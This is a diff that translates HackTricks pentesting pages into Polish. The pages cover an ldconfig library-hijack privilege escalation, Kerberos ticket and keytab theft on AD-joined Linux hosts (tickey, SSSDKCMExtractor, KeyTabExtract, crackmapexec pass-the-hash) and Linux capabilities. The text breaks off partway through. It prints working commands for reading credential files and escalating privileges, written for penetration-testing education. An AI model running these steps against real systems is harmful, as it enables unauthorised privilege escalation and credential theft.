powodować tę samą podatność, jeśli masz **uprawnienia do zapisu** w jakimś **pliku konfiguracyjnym** w `/etc/ld.so.conf.d`, w folderze `/etc/ld.so.conf.d` lub w pliku `/etc/ld.so.conf`, możesz skonfigurować tę samą podatność i ją wykorzystać. ## Exploit 2 -**Suppose you have sudo privileges over `ldconfig`**.\ -You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ -So, lets create the files and folders needed to load "/tmp": - +**Załóżmy, że masz uprawnienia sudo do `ldconfig`**.\ +Możesz wskazać `ldconfig`, **skąd ładować pliki konfiguracyjne**, więc możemy to wykorzystać, aby `ldconfig` załadował dowolne foldery.\ +Więc stwórzmy pliki i foldery potrzebne do załadowania "/tmp": ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` - -Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ -And finally, lets load the path and check where is the binary loading the library from: - +Teraz, jak wskazano w **poprzednim exploicie**, **stwórz złośliwą bibliotekę w `/tmp`**.\ +A na koniec załadujmy ścieżkę i sprawdźmy, skąd binarny ładuje bibliotekę: ```bash ldconfig -f fake.ld.so.conf ldd sharedvuln - linux-vdso.so.1 => (0x00007fffa2dde000) - libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) - /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) +linux-vdso.so.1 => (0x00007fffa2dde000) +libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) +/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) ``` - -**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** +**Jak widać, mając uprawnienia sudo do `ldconfig`, możesz wykorzystać tę samą lukę.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 5e355bae5..4d2b68851 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -2,19 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} +Maszyna linuxowa może być również obecna w środowisku Active Directory. -A linux machine can also be present inside an Active Directory environment. +Maszyna linuxowa w AD może **przechowywać różne bilety CCACHE w plikach. Te bilety mogą być używane i nadużywane jak każdy inny bilet kerberos**. Aby odczytać te bilety, musisz być właścicielem biletu lub **rootem** na maszynie. -A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. +## Enumeracja -## Enumeration +### Enumeracja AD z linuxa -### AD enumeration from linux +Jeśli masz dostęp do AD w linuxie (lub bash w Windows), możesz spróbować [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) do enumeracji AD. -If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. - -You can also check the following page to learn **other ways to enumerate AD from linux**: +Możesz również sprawdzić następującą stronę, aby dowiedzieć się o **innych sposobach enumeracji AD z linuxa**: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from ### FreeIPA -FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in: +FreeIPA to otwarte źródło **alternatywa** dla Microsoft Windows **Active Directory**, głównie dla środowisk **Unix**. Łączy kompletny **katalog LDAP** z MIT **Kerberos** Key Distribution Center do zarządzania podobnego do Active Directory. Wykorzystując system **Certyfikatów Dogtag** do zarządzania certyfikatami CA i RA, wspiera **uwierzytelnianie wieloskładnikowe**, w tym karty inteligentne. SSSD jest zintegrowany z procesami uwierzytelniania Unix. Dowiedz się więcej o tym w: {{#ref}} ../freeipa-pentesting.md {{#endref}} -## Playing with tickets +## Zabawa z biletami ### Pass The Ticket -In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: +Na tej stronie znajdziesz różne miejsca, w których możesz **znaleźć bilety kerberos w hoście linux**, na następnej stronie możesz dowiedzieć się, jak przekształcić te formaty biletów CCache na Kirbi (format, którego musisz użyć w Windows) oraz jak przeprowadzić atak PTT: {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md {{#endref}} -### CCACHE ticket reuse from /tmp +### Ponowne użycie biletu CCACHE z /tmp -CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse. - -List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. +Pliki CCACHE to binarne formaty do **przechowywania poświadczeń Kerberos**, które zazwyczaj są przechowywane z uprawnieniami 600 w `/tmp`. Pliki te można zidentyfikować po ich **formacie nazwy, `krb5cc_%{uid}`,** odpowiadającym UID użytkownika. Aby zweryfikować bilet uwierzytelniający, **zmienna środowiskowa `KRB5CCNAME`** powinna być ustawiona na ścieżkę do pożądanego pliku biletu, co umożliwia jego ponowne użycie. +Wylistuj aktualny bilet używany do uwierzytelniania za pomocą `env | grep KRB5CCNAME`. Format jest przenośny, a bilet może być **ponownie użyty, ustawiając zmienną środowiskową** za pomocą `export KRB5CCNAME=/tmp/ticket.ccache`. Format nazwy biletu Kerberos to `krb5cc_%{uid}`, gdzie uid to UID użytkownika. ```bash # Find tickets ls /tmp/ | grep krb5cc @@ -52,79 +49,62 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` - ### CCACHE ticket reuse from keyring -**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`. - -To configure and use this tool, the steps below are followed: +**Bilety Kerberos przechowywane w pamięci procesu mogą być wyodrębnione**, szczególnie gdy ochrona ptrace maszyny jest wyłączona (`/proc/sys/kernel/yama/ptrace_scope`). Przydatne narzędzie do tego celu znajduje się pod adresem [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), które ułatwia wyodrębnianie poprzez wstrzykiwanie do sesji i zrzucanie biletów do `/tmp`. +Aby skonfigurować i używać tego narzędzia, należy postępować zgodnie z poniższymi krokami: ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey make CONF=Release /tmp/tickey -i ``` +Ta procedura spróbuje wstrzyknąć do różnych sesji, wskazując na sukces poprzez przechowywanie wyodrębnionych biletów w `/tmp` z konwencją nazewnictwa `__krb_UID.ccache`. -This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`. +### Ponowne użycie biletu CCACHE z SSSD KCM -### CCACHE ticket reuse from SSSD KCM - -SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. - -Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. +SSSD utrzymuje kopię bazy danych pod ścieżką `/var/lib/sss/secrets/secrets.ldb`. Odpowiedni klucz jest przechowywany jako ukryty plik pod ścieżką `/var/lib/sss/secrets/.secrets.mkey`. Domyślnie klucz jest czytelny tylko, jeśli masz uprawnienia **root**. +Wywołanie \*\*`SSSDKCMExtractor` \*\* z parametrami --database i --key zanalizuje bazę danych i **odszyfruje sekrety**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` +**Blob pamięci podręcznej poświadczeń Kerberos można przekształcić w użyteczny plik CCache Kerberos**, który można przekazać do Mimikatz/Rubeus. -The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. - -### CCACHE ticket reuse from keytab - +### Ponowne użycie biletu CCACHE z keytab ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` +### Ekstrakcja kont z /etc/krb5.keytab -### Extract accounts from /etc/krb5.keytab - -Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality. - -To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23. +Klucze kont serwisowych, niezbędne dla usług działających z uprawnieniami roota, są bezpiecznie przechowywane w plikach **`/etc/krb5.keytab`**. Klucze te, podobnie jak hasła dla usług, wymagają ścisłej poufności. +Aby sprawdzić zawartość pliku keytab, można użyć **`klist`**. Narzędzie to jest zaprojektowane do wyświetlania szczegółów kluczy, w tym **NT Hash** dla uwierzytelniania użytkowników, szczególnie gdy typ klucza jest identyfikowany jako 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash ``` - -For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse. - +Dla użytkowników Linuxa, **`KeyTabExtract`** oferuje funkcjonalność do ekstrakcji hasha RC4 HMAC, który można wykorzystać do ponownego użycia hasha NTLM. ```bash python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability ``` - -On macOS, **`bifrost`** serves as a tool for keytab file analysis. - +Na macOS, **`bifrost`** służy jako narzędzie do analizy plików keytab. ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` - -Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**. - +Wykorzystując wyodrębnione informacje o koncie i haszach, można nawiązać połączenia z serwerami za pomocą narzędzi takich jak **`crackmapexec`**. ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` - -## References +## Odniesienia - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 2fa1b2717..8fd569a3b 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -2,90 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
- -​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\\ - -{% embed url="https://www.rootedcon.com/" %} ## Linux Capabilities -Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily. +Linux capabilities dzielą **uprawnienia roota na mniejsze, odrębne jednostki**, pozwalając procesom na posiadanie podzbioru uprawnień. Minimalizuje to ryzyko, nie przyznając niepotrzebnie pełnych uprawnień roota. -### The Problem: +### Problem: -- Normal users have limited permissions, affecting tasks like opening a network socket which requires root access. +- Zwykli użytkownicy mają ograniczone uprawnienia, co wpływa na zadania takie jak otwieranie gniazda sieciowego, które wymaga dostępu roota. -### Capability Sets: +### Zbiory uprawnień: 1. **Inherited (CapInh)**: - - **Purpose**: Determines the capabilities passed down from the parent process. - - **Functionality**: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns. - - **Restrictions**: A process cannot gain capabilities that its parent did not possess. +- **Cel**: Określa uprawnienia przekazywane z procesu nadrzędnego. +- **Funkcjonalność**: Gdy tworzony jest nowy proces, dziedziczy on uprawnienia z procesu nadrzędnego w tym zbiorze. Przydatne do utrzymania pewnych uprawnień podczas uruchamiania procesów. +- **Ograniczenia**: Proces nie może uzyskać uprawnień, których jego proces nadrzędny nie posiadał. 2. **Effective (CapEff)**: - - **Purpose**: Represents the actual capabilities a process is utilizing at any moment. - - **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective. - - **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use. +- **Cel**: Reprezentuje rzeczywiste uprawnienia, które proces wykorzystuje w danym momencie. +- **Funkcjonalność**: To zbiór uprawnień sprawdzanych przez jądro w celu przyznania zgody na różne operacje. Dla plików, ten zbiór może być flagą wskazującą, czy dozwolone uprawnienia pliku mają być uznawane za efektywne. +- **Znaczenie**: Zbiór efektywny jest kluczowy dla natychmiastowych kontroli uprawnień, działając jako aktywny zbiór uprawnień, które proces może wykorzystać. 3. **Permitted (CapPrm)**: - - **Purpose**: Defines the maximum set of capabilities a process can possess. - - **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set. - - **Boundary**: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn't exceed its predefined privilege scope. +- **Cel**: Określa maksymalny zbiór uprawnień, które proces może posiadać. +- **Funkcjonalność**: Proces może podnieść uprawnienie z dozwolonego zbioru do swojego zbioru efektywnego, dając mu możliwość użycia tego uprawnienia. Może również zrezygnować z uprawnień z dozwolonego zbioru. +- **Granica**: Działa jako górna granica dla uprawnień, które proces może mieć, zapewniając, że proces nie przekroczy swojego zdefiniowanego zakresu uprawnień. 4. **Bounding (CapBnd)**: - - **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle. - - **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set. - - **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security. +- **Cel**: Ustala sufit dla uprawnień, które proces może kiedykolwiek nabyć w trakcie swojego cyklu życia. +- **Funkcjonalność**: Nawet jeśli proces ma pewne uprawnienie w swoim zbiorze dziedzicznym lub dozwolonym, nie może nabyć tego uprawnienia, chyba że jest ono również w zbiorze ograniczającym. +- **Przykład użycia**: Ten zbiór jest szczególnie przydatny do ograniczania potencjału eskalacji uprawnień procesu, dodając dodatkową warstwę bezpieczeństwa. 5. **Ambient (CapAmb)**: - - **Purpose**: Allows certain capabilities to be maintained across an `execve` system call, which typically would result in a full reset of the process's capabilities. - - **Functionality**: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges. - - **Restrictions**: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges. - +- **Cel**: Pozwala na utrzymanie pewnych uprawnień podczas wywołania systemowego `execve`, które zazwyczaj skutkowałoby pełnym resetem uprawnień procesu. +- **Funkcjonalność**: Zapewnia, że programy nie-SUID, które nie mają powiązanych uprawnień plików, mogą zachować pewne uprawnienia. +- **Ograniczenia**: Uprawnienia w tym zbiorze podlegają ograniczeniom zbiorów dziedzicznych i dozwolonych, zapewniając, że nie przekraczają one dozwolonych uprawnień procesu. ```python # Code to demonstrate the interaction of different capability sets might look like this: # Note: This is pseudo-code for illustrative purposes only. def manage_capabilities(process): - if process.has_capability('cap_setpcap'): - process.add_capability_to_set('CapPrm', 'new_capability') - process.limit_capabilities('CapBnd') - process.preserve_capabilities_across_execve('CapAmb') +if process.has_capability('cap_setpcap'): +process.add_capability_to_set('CapPrm', 'new_capability') +process.limit_capabilities('CapBnd') +process.preserve_capabilities_across_execve('CapAmb') ``` - -For further information check: +Dla dalszych informacji sprawdź: - [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) - [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -## Processes & Binaries Capabilities +## Procesy i możliwości binarne -### Processes Capabilities +### Możliwości procesów -To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ -Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. +Aby zobaczyć możliwości dla konkretnego procesu, użyj pliku **status** w katalogu /proc. Ponieważ dostarcza więcej szczegółów, ograniczmy się tylko do informacji związanych z możliwościami Linuxa.\ +Zauważ, że dla wszystkich działających procesów informacje o możliwościach są utrzymywane na wątek, a dla binariów w systemie plików są przechowywane w atrybutach rozszerzonych. -You can find the capabilities defined in /usr/include/linux/capability.h - -You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc//status` +Możesz znaleźć możliwości zdefiniowane w /usr/include/linux/capability.h +Możesz znaleźć możliwości bieżącego procesu w `cat /proc/self/status` lub wykonując `capsh --print`, a innych użytkowników w `/proc//status` ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process ``` +To polecenie powinno zwrócić 5 linii w większości systemów. -This command should return 5 lines on most systems. - -- CapInh = Inherited capabilities -- CapPrm = Permitted capabilities -- CapEff = Effective capabilities -- CapBnd = Bounding set -- CapAmb = Ambient capabilities set - +- CapInh = Dziedziczone uprawnienia +- CapPrm = Dozwolone uprawnienia +- CapEff = Efektywne uprawnienia +- CapBnd = Zestaw ograniczający +- CapAmb = Zestaw uprawnień otoczenia ```bash #These are the typical capabilities of a root owned process (all) CapInh: 0000000000000000 @@ -94,16 +84,12 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` - -These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name. - +Te liczby szesnastkowe nie mają sensu. Używając narzędzia capsh, możemy je zdekodować na nazwy uprawnień. ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 ``` - -Lets check now the **capabilities** used by `ping`: - +Sprawdźmy teraz **capabilities** używane przez `ping`: ```bash cat /proc/9491/status | grep Cap CapInh: 0000000000000000 @@ -115,15 +101,11 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` - -Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs. - +Chociaż to działa, istnieje inny, łatwiejszy sposób. Aby zobaczyć możliwości działającego procesu, po prostu użyj narzędzia **getpcaps**, a następnie jego identyfikatora procesu (PID). Możesz również podać listę identyfikatorów procesów. ```bash getpcaps 1234 ``` - -Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_): - +Sprawdźmy tutaj możliwości `tcpdump` po nadaniu binarnemu wystarczających uprawnień (`cap_net_admin` i `cap_net_raw`) do podsłuchiwania sieci (_tcpdump działa w procesie 9562_): ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -141,53 +123,43 @@ CapAmb: 0000000000000000 $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` +Jak widać, podane możliwości odpowiadają wynikom 2 sposobów uzyskiwania możliwości binarnego.\ +Narzędzie _getpcaps_ używa wywołania systemowego **capget()** do zapytania o dostępne możliwości dla konkretnego wątku. To wywołanie systemowe potrzebuje jedynie podać PID, aby uzyskać więcej informacji. -As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ -The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. - -### Binaries Capabilities - -Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: +### Możliwości binariów +Binarne pliki mogą mieć możliwości, które mogą być używane podczas wykonywania. Na przykład, bardzo często można znaleźć binarny plik `ping` z możliwością `cap_net_raw`: ```bash getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` - -You can **search binaries with capabilities** using: - +Możesz **wyszukiwać binaria z uprawnieniami** za pomocą: ```bash getcap -r / 2>/dev/null ``` +### Zrzucanie uprawnień za pomocą capsh -### Dropping capabilities with capsh - -If we drop the CAP*NET_RAW capabilities for \_ping*, then the ping utility should no longer work. - +Jeśli zrzucimy uprawnienia CAP*NET_RAW dla \_ping*, to narzędzie ping nie powinno już działać. ```bash capsh --drop=cap_net_raw --print -- -c "tcpdump" ``` +Oprócz wyjścia samego _capsh_, polecenie _tcpdump_ również powinno zgłosić błąd. -Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error. +> /bin/bash: /usr/sbin/tcpdump: Operacja niedozwolona -> /bin/bash: /usr/sbin/tcpdump: Operation not permitted +Błąd wyraźnie pokazuje, że polecenie ping nie ma uprawnień do otwarcia gniazda ICMP. Teraz mamy pewność, że to działa zgodnie z oczekiwaniami. -The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. - -### Remove Capabilities - -You can remove capabilities of a binary with +### Usuń uprawnienia +Możesz usunąć uprawnienia binarnego pliku za pomocą ```bash setcap -r ``` - ## User Capabilities -Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ -Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ -File example: - +Wyraźnie **możliwe jest przypisanie możliwości również do użytkowników**. Prawdopodobnie oznacza to, że każdy proces wykonywany przez użytkownika będzie mógł korzystać z możliwości użytkownika.\ +Na podstawie [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) i [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user) kilka plików musi być skonfigurowanych, aby nadać użytkownikowi określone możliwości, ale plik przypisujący możliwości do każdego użytkownika to `/etc/security/capability.conf`.\ +Przykład pliku: ```bash # Simple cap_sys_ptrace developer @@ -201,24 +173,22 @@ cap_net_admin,cap_net_raw jrnetadmin # Combining names and numerics cap_sys_admin,22,25 jrsysadmin ``` +## Możliwości środowiska -## Environment Capabilities - -Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. - +Kompilując następujący program, możliwe jest **uruchomienie powłoki bash w środowisku, które zapewnia możliwości**. ```c:ambient.c /* - * Test program for the ambient capabilities - * - * compile using: - * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c - * Set effective, inherited and permitted capabilities to the compiled binary - * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient - * - * To get a shell with additional caps that can be inherited do: - * - * ./ambient /bin/bash - */ +* Test program for the ambient capabilities +* +* compile using: +* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c +* Set effective, inherited and permitted capabilities to the compiled binary +* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient +* +* To get a shell with additional caps that can be inherited do: +* +* ./ambient /bin/bash +*/ #include #include @@ -229,70 +199,70 @@ Compiling the following program it's possible to **spawn a bash shell inside an #include static void set_ambient_cap(int cap) { - int rc; - capng_get_caps_process(); - rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); - if (rc) { - printf("Cannot add inheritable cap\n"); - exit(2); - } - capng_apply(CAPNG_SELECT_CAPS); - /* Note the two 0s at the end. Kernel checks for these */ - if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { - perror("Cannot set cap"); - exit(1); - } +int rc; +capng_get_caps_process(); +rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); +if (rc) { +printf("Cannot add inheritable cap\n"); +exit(2); +} +capng_apply(CAPNG_SELECT_CAPS); +/* Note the two 0s at the end. Kernel checks for these */ +if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { +perror("Cannot set cap"); +exit(1); +} } void usage(const char * me) { - printf("Usage: %s [-c caps] new-program new-args\n", me); - exit(1); +printf("Usage: %s [-c caps] new-program new-args\n", me); +exit(1); } int default_caplist[] = { - CAP_NET_RAW, - CAP_NET_ADMIN, - CAP_SYS_NICE, - -1 +CAP_NET_RAW, +CAP_NET_ADMIN, +CAP_SYS_NICE, +-1 }; int * get_caplist(const char * arg) { - int i = 1; - int * list = NULL; - char * dup = strdup(arg), * tok; - for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { - list = realloc(list, (i + 1) * sizeof(int)); - if (!list) { - perror("out of memory"); - exit(1); - } - list[i - 1] = atoi(tok); - list[i] = -1; - i++; - } - return list; +int i = 1; +int * list = NULL; +char * dup = strdup(arg), * tok; +for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { +list = realloc(list, (i + 1) * sizeof(int)); +if (!list) { +perror("out of memory"); +exit(1); +} +list[i - 1] = atoi(tok); +list[i] = -1; +i++; +} +return list; } int main(int argc, char ** argv) { - int rc, i, gotcaps = 0; - int * caplist = NULL; - int index = 1; // argv index for cmd to start - if (argc < 2) - usage(argv[0]); - if (strcmp(argv[1], "-c") == 0) { - if (argc <= 3) { - usage(argv[0]); - } - caplist = get_caplist(argv[2]); - index = 3; - } - if (!caplist) { - caplist = (int * ) default_caplist; - } - for (i = 0; caplist[i] != -1; i++) { - printf("adding %d to ambient list\n", caplist[i]); - set_ambient_cap(caplist[i]); - } - printf("Ambient forking shell\n"); - if (execv(argv[index], argv + index)) - perror("Cannot exec"); - return 0; +int rc, i, gotcaps = 0; +int * caplist = NULL; +int index = 1; // argv index for cmd to start +if (argc < 2) +usage(argv[0]); +if (strcmp(argv[1], "-c") == 0) { +if (argc <= 3) { +usage(argv[0]); +} +caplist = get_caplist(argv[2]); +index = 3; +} +if (!caplist) { +caplist = (int * ) default_caplist; +} +for (i = 0; caplist[i] != -1; i++) { +printf("adding %d to ambient list\n", caplist[i]); +set_ambient_cap(caplist[i]); +} +printf("Ambient forking shell\n"); +if (execv(argv[index], argv + index)) +perror("Cannot exec"); +return 0; } ``` @@ -301,40 +271,34 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` - -Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section). - +Wewnątrz **bash uruchomionego przez skompilowany binarny ambient** można zaobserwować **nowe możliwości** (zwykły użytkownik nie będzie miał żadnej możliwości w sekcji "aktualnej"). ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` - > [!CAUTION] -> You can **only add capabilities that are present** in both the permitted and the inheritable sets. +> Możesz **dodawać tylko te uprawnienia, które są obecne** zarówno w zestawie dozwolonym, jak i dziedziczonym. -### Capability-aware/Capability-dumb binaries +### Binaries świadome/nieświadome uprawnień -The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. +**Binaries świadome uprawnień nie będą używać nowych uprawnień** nadanych przez środowisko, jednak **binaries nieświadome uprawnień będą je** używać, ponieważ ich nie odrzucą. To sprawia, że binaries nieświadome uprawnień są podatne w specjalnym środowisku, które przyznaje uprawnienia binarnym. -## Service Capabilities - -By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ -Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: +## Uprawnienia usług +Domyślnie **usługa działająca jako root będzie miała przypisane wszystkie uprawnienia**, a w niektórych 